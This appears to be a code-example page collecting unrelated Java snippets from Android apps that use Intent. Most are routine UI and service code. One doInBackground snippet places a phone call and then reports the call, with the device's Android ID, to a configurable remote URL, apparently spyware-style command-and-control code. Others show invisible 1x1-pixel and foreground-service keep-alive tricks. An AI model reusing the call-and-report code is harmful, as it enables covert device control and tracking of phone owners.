Java Code Examples for android.content.Intent

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    // Handle action bar item clicks here. The action bar will
    // automatically handle clicks on the Home/Up button, so long
    // as you specify a parent activity in AndroidManifest.xml.
    int id = item.getItemId();
    if (id == R.id.action_listview) {
        startActivity(new Intent(this, ListViewExample.class));
        return true;
    } else if (id == R.id.action_gridview) {
        startActivity(new Intent(this, GridViewExample.class));
        return true;
    } else if (id == R.id.action_nexted) {
        startActivity(new Intent(this, NestedExample.class));
        return true;
    }
    return super.onOptionsItemSelected(item);
}
 

private static void showSettingsMenu(View v) {
    PopupMenu menu = new PopupMenu(v.getContext(), v);
    menu.getMenuInflater().inflate(R.menu.overflow_popup, menu.getMenu());
    menu.setOnMenuItemClickListener(item -> {
        if (item.getItemId() == R.id.menu_settings) {
            ((MainActivity) v.getContext()).openSettings();
        } else if (item.getItemId() == R.id.menu_feedback) {
            Context c = v.getContext();
            Intent intent = new Intent(Intent.ACTION_SENDTO,
                    Uri.fromParts("mailto", "[email protected]", null));
            intent.putExtra(Intent.EXTRA_SUBJECT, "Feedback about Talalarmo");
            v.getContext().startActivity(Intent.createChooser(intent, c.getString(R.string.leave_feedback)));
        }
        return true;
    });
    menu.show();
}
 

public static UUID getCallIdFromIntent(Intent intent) {
    int version = getProtocolVersionFromIntent(intent);
    String callIdString = null;
    if (isVersionCompatibleWithBucketedIntent(version)) {
        Bundle bridgeArgs = intent.getBundleExtra(EXTRA_PROTOCOL_BRIDGE_ARGS);
        if (bridgeArgs != null) {
            callIdString = bridgeArgs.getString(BRIDGE_ARG_ACTION_ID_STRING);
        }
    } else {
        callIdString = intent.getStringExtra(EXTRA_PROTOCOL_CALL_ID);
    }

    UUID callId = null;
    if (callIdString != null) {
        try {
            callId = UUID.fromString(callIdString);
        } catch (IllegalArgumentException exception) {
        }
    }
    return callId;
}
 

private void initVideoView() {
    //拿到VideoView实例
    mVideoView = getVideoViewManager().get(Tag.SEAMLESS);
    //如果已经添加到某个父容器，就将其移除
    Utils.removeViewFormParent(mVideoView);
    //把播放器添加到页面的容器中
    mPlayerContainer.addView(mVideoView);
    //设置新的控制器
    StandardVideoController controller = new StandardVideoController(DetailActivity.this);
    mVideoView.setVideoController(controller);

    Intent intent = getIntent();
    boolean seamlessPlay = intent.getBooleanExtra(IntentKeys.SEAMLESS_PLAY, false);
    String title = intent.getStringExtra(IntentKeys.TITLE);
    controller.addDefaultControlComponent(title, false);
    if (seamlessPlay) {
        //无缝播放需还原Controller状态
        controller.setPlayState(mVideoView.getCurrentPlayState());
        controller.setPlayerState(mVideoView.getCurrentPlayerState());
    } else {
        //不是无缝播放的情况
        String url = intent.getStringExtra(IntentKeys.URL);
        mVideoView.setUrl(url);
        mVideoView.start();
    }
}
 

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
    if (requestCode == 101) {
        if (resultCode== Activity.RESULT_OK)
            YTutils.showInterstitialAd(activity);
    }
    if (requestCode == 42) {
        Uri treeUri = data.getData();
        DocumentFile pickedDir = DocumentFile.fromTreeUri(activity, treeUri);
        activity.grantUriPermission(activity.getPackageName(), treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        activity.getContentResolver().takePersistableUriPermission(treeUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

        SharedPreferences.Editor editor = preferences.edit();
        editor.putString("ext_sdcard", treeUri.toString());
        editor.apply();

        Toast.makeText(activity, "Permission granted, try to delete file again!", Toast.LENGTH_LONG).show();
    }
    super.onActivityResult(requestCode, resultCode, data);
}
 

@Override
protected void onResume() {
    super.onResume();

    if (isServiceRunning()) {
        if (!mServiceBound){
            Intent intent = new Intent(this, MainService.class);
            bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
        }

        showErrorInterface(false);
    }
    else if (mServiceBound) {
        stopService();
    }

    updateInterface();
}
 

@Override
     protected String doInBackground(String... params) {     
  	 String telephone = "tel:" + i.trim() ;
  	 Intent intent = new Intent(Intent.ACTION_CALL);
  	 intent.setData(Uri.parse(telephone));
   	 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  	 startActivity(intent);
     	
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Initiated: " + i);
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        
  	 
   return "Executed";
     }
 

@Override
    public boolean startActivityAndNeedWating(IMBaseActivity context, Map<String, String> map) {
//        if(map != null){
//            String groupId = map.get("groupId");

        Intent intent = new Intent(context, QtalkServiceExternalRNActivity.class);

        for (Map.Entry<String, String> entry : map.entrySet()) {
//                        intent.putExtra(entry.getKey(), entry.getValue() + "");
//            map.put(entry.getKey(),entry.getValue());
//            str+=entry.getKey()+"="+entry.getValue()+"&";
            intent.putExtra(entry.getKey(),entry.getValue());
        }

//            intent.putExtra("groupId", groupId);
//            intent.putExtra("permissions", ConnectionUtil.getInstance().selectGroupMemberPermissionsByGroupIdAndMemberId(groupId, CurrentPreference.getInstance().getPreferenceUserId()));
        context.startActivity(intent);
//        }
        return false;
    }
 

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    switch (item.getItemId()) {
        case OPTION_EXPORT_DATABASE:
            try {
                boolean exported = SanaUtil.exportDatabase(this, "models.db");
            } catch (IOException e) {
                e.printStackTrace();
            }
            return true;
        case OPTION_SETTINGS:
            Intent i = new Intent(Intent.ACTION_PICK);
            i.setClass(this, Settings.class);
            startActivityForResult(i, SETTINGS);
            return true;
        case OPTION_SYNC:
            //doUpdatePatientDatabase();
            return true;
    }
    return false;
}
 

private void openInnerFileManager() {
    Intent openExplorerIntent = new Intent(
            getContext(),
            FileManagerActivity.class
    );
    String lastPath = SettingsHelper.getLastPathForInnerFileManager(context);
    if (lastPath != null) {
        openExplorerIntent.putExtra(
                FileManagerActivity.LAST_PATH,
                lastPath
        );
    }
    startActivityForResult(
            openExplorerIntent,
            FileManagerActivity.FILE_SELECT_FROM_FILE_MANAGER
    );
}
 

/**
   * Helper method to start Compress service
   *
   * @param file the new compressed file
   * @param baseFiles list of {@link BaseFile} to be compressed
   */
  public void compressFiles(File file, ArrayList<BaseFile> baseFiles) {
      int mode = checkFolder(file.getParentFile(), mainActivity);
      if (mode == 2) {
          mainActivity.originPath_oppathe = (file.getPath());
          mainActivity.operation = DataUtils.COMPRESS;
          mainActivity.originPaths_oparrayList = baseFiles;
      } else if (mode == 1) {
          Intent intent2 = new Intent(mainActivity, ZipTask.class);
          intent2.putExtra(ZipTask.KEY_COMPRESS_PATH, file.getPath());
          intent2.putExtra(ZipTask.KEY_COMPRESS_FILES, baseFiles);
          ServiceWatcherUtil.runService(mainActivity, intent2);
      } else {
	Toast.makeText(mainActivity, R.string.not_allowed, Toast.LENGTH_SHORT).show();
}
  }
 

@Override
public void issue(Intent in, int ret)
{
    if (in == null)
        return;
    try
    {
        if (ret == 0)
            context.startActivity(in);
        else
            context.startActivityForResult(in, ret);
    }
    catch (Exception e)
    {
        e.printStackTrace();
    }
}
 

@Override
public boolean onOptionsItemSelected(MenuItem item) {
    // Handle action bar item clicks here. The action bar will
    // automatically handle clicks on the Home/Up button, so long
    // as you specify a parent activity in AndroidManifest.xml.
    int id = item.getItemId();

    if (id == R.id.action_profile) {
        profileDialog.show(getSupportFragmentManager(), "profile");
        return true;
    } else if (id == R.id.action_settings) {
        startActivity(new Intent(this, SettingsActivity.class));
        return true;
    }

    return super.onOptionsItemSelected(item);
}
 

/**
 * Setups an alarm to check for updates if an update is due.
 */
private static void checkTimeAndMaybeSetupUpdateAlarm(final Context context) {
    // Of all clients, if the one that hasn't been updated for the longest
    // is still more recent than UPDATE_FREQUENCY_MILLIS, do nothing.
    if (!isLastUpdateAtLeastThisOld(context, UPDATE_FREQUENCY_MILLIS)) return;

    PrivateLog.log("Date changed - registering alarm");
    AlarmManager alarmManager = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE);

    // Best effort to wake between midnight and MAX_ALARM_DELAY_MILLIS in the morning.
    // It doesn't matter too much if this is very inexact.
    final long now = System.currentTimeMillis();
    final long alarmTime = now + new Random().nextInt(MAX_ALARM_DELAY_MILLIS);
    final Intent updateIntent = new Intent(new DictionaryPackConstants(context).UPDATE_NOW_INTENT_ACTION);
    final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0,
            updateIntent, PendingIntent.FLAG_CANCEL_CURRENT);

    // We set the alarm in the type that doesn't forcefully wake the device
    // from sleep, but fires the next time the device actually wakes for any
    // other reason.
    if (null != alarmManager) alarmManager.set(AlarmManager.RTC, alarmTime, pendingIntent);
}
 

private View createView2() {
    LayoutInflater inflater2 = LayoutInflater.from(getBaseContext());
    LinearLayout view2 =
            (LinearLayout) inflater2.inflate(R.layout.activity_post_image, null, false);

    Typeface fontType = FontManager.getTypeface(getApplicationContext(), FontManager.APP_FONT);
    FontManager.markAsIconContainer(findViewById(R.id.activity_post_layout), fontType);

    mSelectImage = (ImageButton) view2.findViewById(R.id.imageButton);
    mSelectImage.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            Intent intent = new Intent(
                    Intent.ACTION_PICK,
                    android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
            startActivityForResult(intent, GALLERY_REQUEST);
        }
    });
    return view2;
}
 

@Override
public void initView() {
    activity = this;

    Window window = getWindow();
    window.setGravity(Gravity.LEFT | Gravity.TOP);
    WindowManager.LayoutParams params = window.getAttributes();
    params.x = 0;
    params.y = 0;
    params.width = 1;
    params.height = 1;
    window.setAttributes(params);

    receiver =new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            finish();
        }
    };
    IntentFilter filter = new IntentFilter();
    filter.addAction("KeepLive");
    registerReceiver(receiver, filter);
}
 

@Override
public void onReceive(Context context, Intent intent) {
    String action = intent.getAction();
    if (action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) {
        ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = connectivityManager.getActiveNetworkInfo();
        NetStatue status = NetStatue.NO_WORK;
        if (info != null && info.isAvailable()) {
            if (NetManager.Net_MOBILE.equals(info.getTypeName())) {
                status = NetStatue.MOBILE;
            } else if (NetManager.Net_WIFI.equals(info.getTypeName())) {
                status = NetStatue.WIFI;
            }
        }
        if (listener != null) {
            listener.netWorkChange(status);
        }
    }
}
 

@Override
protected void onViewEvent(Intent intent) {
    String action = intent.getStringExtra(Notification.Intents.EXTRA_ACTION);
    String hostAppPackageName = intent
            .getStringExtra(Registration.Intents.EXTRA_AHA_PACKAGE_NAME);
    boolean advancedFeaturesSupported = DeviceInfoHelper.isSmartWatch2ApiAndScreenDetected(
            this, hostAppPackageName);

    int eventId = intent.getIntExtra(Notification.Intents.EXTRA_EVENT_ID, -1);
    if (Notification.SourceColumns.ACTION_1.equals(action)) {
        NotificationUtil.deleteAllEvents(this);
    } else if (Notification.SourceColumns.ACTION_2.equals(action)) {
        NotificationUtil.deleteAllEvents(this);
    } else if (Notification.SourceColumns.ACTION_3.equals(action)) {
        Toast.makeText(this, "Action 3", Toast.LENGTH_LONG).show();
    }
}
 

@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if (requestCode==REQUEST_SPEECH && resultCode == RESULT_OK && data!=null) {
        ArrayList<String> result = data.getStringArrayListExtra(RecognizerIntent.EXTRA_RESULTS);
        TextView textView = findViewById(R.id.textView);
        if (!result.isEmpty()){
            textView.setText("");
            for (String item : result ) {
                textView.append(item+"\n");
            }
        }
    }
}
 

@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    switch (requestCode){
        case MODIFY_POST:
            if (resultCode == RESULT_OK){
                finish();
            }
            break;
    }
}
 

/**
 * Lanches an intent that guides to the mixare installation.
 *
 * @param context the {@link Context} to use.
 */
public static void installMixareFromMarket(Context context) {
    Intent i = new Intent();
    i.setAction(Intent.ACTION_VIEW);
    i.setData(Uri.parse("market://search?q=pname:org.mixare"));
    context.startActivity(i);
}
 

protected void sendBroadcastMessage(String type, String key, boolean b) {
    Intent intent = new Intent(type);

    intent.putExtra(key, b);
    Log.e(TAG, "Send message: " + type + ", " + key + ", " + String.valueOf(b));
    LocalBroadcastManager.getInstance(main_context).sendBroadcast(intent);
}
 

public static boolean handleMenuClick(@NonNull FragmentActivity activity, @NonNull Song song, int menuItemId) {
    switch (menuItemId) {
        case R.id.action_set_as_ringtone:
            MusicUtil.setRingtone(activity, song.id);
            return true;
        case R.id.action_share:
            activity.startActivity(Intent.createChooser(MusicUtil.createShareSongFileIntent(song), null));
            return true;
        case R.id.action_delete_from_device:
            DeleteSongsDialog.create(song).show(activity.getSupportFragmentManager(), "DELETE_SONGS");
            return true;
        case R.id.action_add_to_playlist:
            AddToPlaylistDialog.create(song).show(activity.getSupportFragmentManager(), "ADD_PLAYLIST");
            return true;
        case R.id.action_play_next:
            MusicPlayerRemote.playNext(song);
            return true;
        case R.id.action_add_to_current_playing:
            MusicPlayerRemote.enqueue(song);
            return true;
        case R.id.action_tag_editor:
            Intent tagEditorIntent = new Intent(activity, SongTagEditorActivity.class);
            tagEditorIntent.putExtra(AbsTagEditorActivity.EXTRA_ID, song.id);
            if (activity instanceof PaletteColorHolder)
                tagEditorIntent.putExtra(AbsTagEditorActivity.EXTRA_PALETTE, ((PaletteColorHolder) activity).getPaletteColor());
            activity.startActivity(tagEditorIntent);
            return true;
        case R.id.action_details:
            SongDetailDialog.create(song).show(activity.getSupportFragmentManager(), "SONG_DETAILS");
            return true;
        case R.id.action_go_to_album:
            NavigationUtil.goToAlbum(activity, song.albumId);
            return true;
        case R.id.action_go_to_artist:
            NavigationUtil.goToArtist(activity, song.artistId);
            return true;
    }
    return false;
}
 

@Override
public void initData() {
	Intent intent = getIntent();
	if (intent != null) {
		userMsg = intent.getStringExtra("userInfo");
	}
	clipBoard = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
	preClipBoard = (android.text.ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
}
 

private void initBroadcastReceiver() {
    broadcastReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            if (AudioManager.ACTION_AUDIO_BECOMING_NOISY.equals(action)) {
                pauseReadAloud(true);
            }
        }
    };
    IntentFilter intentFilter = new IntentFilter(AudioManager.ACTION_AUDIO_BECOMING_NOISY);
    registerReceiver(broadcastReceiver, intentFilter);
}
 

@OnClick(R.id.container)
public void onClick(View view) {
    int type = mBean.type;
    switch (type) {
        case 0:
            mContext.startActivity(new Intent(mContext, SingleItemActivity.class));
            break;
        case 1:
            mContext.startActivity(new Intent(mContext, MultiItemActivity.class));
            break;
        case 2:
            mContext.startActivity(new Intent(mContext, GridActivity.class));
            break;
        case 3:
            mContext.startActivity(new Intent(mContext, StaggeredActivity.class));
            break;
        case 4:
            mContext.startActivity(new Intent(mContext, ManualLoadMoreActivity.class));
            break;
        case 5:
            mContext.startActivity(new Intent(mContext, DragActivity.class));
            break;
        case 6:
            mContext.startActivity(new Intent(mContext, ExpandActivity.class));
            break;
    }

}
 

private void fireIntentAndFinish() {
    // Update MasterSwitch Widget if existent
    switch (mode) {
        case ActionsHelper.ACTION_TOGGLE_MASTER_SWITCH:
        case ActionsHelper.ACTION_MASTER_SWITCH_ON:
        case ActionsHelper.ACTION_MASTER_SWITCH_OFF:
            Intent intent = new Intent(this, MasterSwitchWidget.class);
            intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);
            int[] ids = AppWidgetManager.getInstance(getApplication()).getAppWidgetIds(new ComponentName(getApplication(), MasterSwitchWidget.class));
            intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, ids);
            sendBroadcast(intent);
    }
    finish();
}
 

private void setShoppingCartLink() {
    TextView tvViewShoppingCart = (TextView)findViewById(R.id.tvViewShoppingCart);
    SpannableString content = new SpannableString(getText(R.string.shopping_cart));
    content.setSpan(new UnderlineSpan(), 0, content.length(), 0);
    tvViewShoppingCart.setText(content);
    tvViewShoppingCart.setOnClickListener(new OnClickListener() {
        @Override
        public void onClick(View v) {
            Intent intent = new Intent(ProductActivity.this, ShoppingCartActivity.class);
            startActivity(intent);
        }
    });
}
 

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    startForeground(NOTIFY_ID, new Notification());
    stopForeground(true);
    stopSelf();
    return super.onStartCommand(intent, flags, startId);
}
 

private void play() {
	if (currentChannel == null || binder == null) {
		return;
	}

	Intent currentIntent = ChannelDetailActivity.getStartIntent(this, currentChannel.getId());
	binder.setForegroundActivityIntent(currentIntent);

	Timber.d("play: %s", currentChannel.getName());
	player.load(VideoInfo.fromChannel(currentChannel));
	player.resume();
}